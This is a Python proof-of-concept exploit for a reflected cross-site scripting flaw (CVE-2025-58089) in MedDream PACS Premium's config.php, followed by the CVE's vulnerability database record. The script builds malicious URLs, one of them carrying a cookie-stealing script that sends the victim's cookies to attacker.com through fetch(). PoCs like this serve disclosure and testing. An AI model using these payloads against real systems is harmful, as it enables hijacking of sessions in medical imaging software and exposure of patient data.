CVE-2025-58089

import urllib.parse # CVE-2025-58089 PoC - Reflected XSS in MedDream PACS Premium # Target: MedDream PACS Premium 7.3.6.870 # Vulnerability: Reflected XSS in config.php (longtermdir parameter) def generate_xss_payload(): """Generate malicious URL with XSS payload""" # Basic XSS payload to steal cookies xss_payload = '<script>alert(document.cookie)</script>' # Encode the payload for URL encoded_payload = urllib.parse.quote(xss_payload) # Construct malicious URL target_url = "http://target-server/meddream/config.php" malicious_url = f"{target_url}?longtermdir={encoded_payload}" return malicious_url def generate_cookie_stealer_payload(): """Generate payload to steal user cookies""" # Cookie stealer payload stealer_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' encoded_payload = urllib.parse.quote(stealer_payload) target_url = "http://target-server/meddream/config.php" malicious_url = f"{target_url}?longtermdir={encoded_payload}" return malicious_url if __name__ == "__main__": print("CVE-2025-58089 PoC for MedDream PACS Premium") print("=" * 50) print("\n1. Basic XSS Test:") print(generate_xss_payload()) print("\n2. Cookie Stealer Payload:") print(generate_cookie_stealer_payload())

{"cve": {"id": "CVE-2025-58089", "sourceIdentifier": "[email protected]", "published": "2026-01-20T15:17:04.437", "lastModified": "2026-01-29T15:16:31.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple reflected cross-site scripting (xss) vulnerabilities exist in the config.php functionality of MedDream PACS Premium 7.3.6.870. Specially crafted malicious URLs can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger these vulnerabilities.This vulnerability affects the longtermdir parameter."}, {"lang": "es", "value": "Múltiples vulnerabilidades de cross-site scripting (XSS) reflejado existen en la funcionalidad config.php de MedDream PACS Premium 7.3.6.870. Las URLs maliciosas especialmente diseñadas pueden conducir a la ejecución arbitraria de código javascript. Un atacante puede proporcionar una URL diseñada para activar estas vulnerabilidades. Esta vulnerabilidad afecta al parámetro longtermdir."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:meddream:pacs_server:7.3.6.870:*:*:*:premium:*:*:*", "matchCriteriaId": "0F239E49-18E8-4DE0-B9B8-C220C3BC0C62"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2271", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}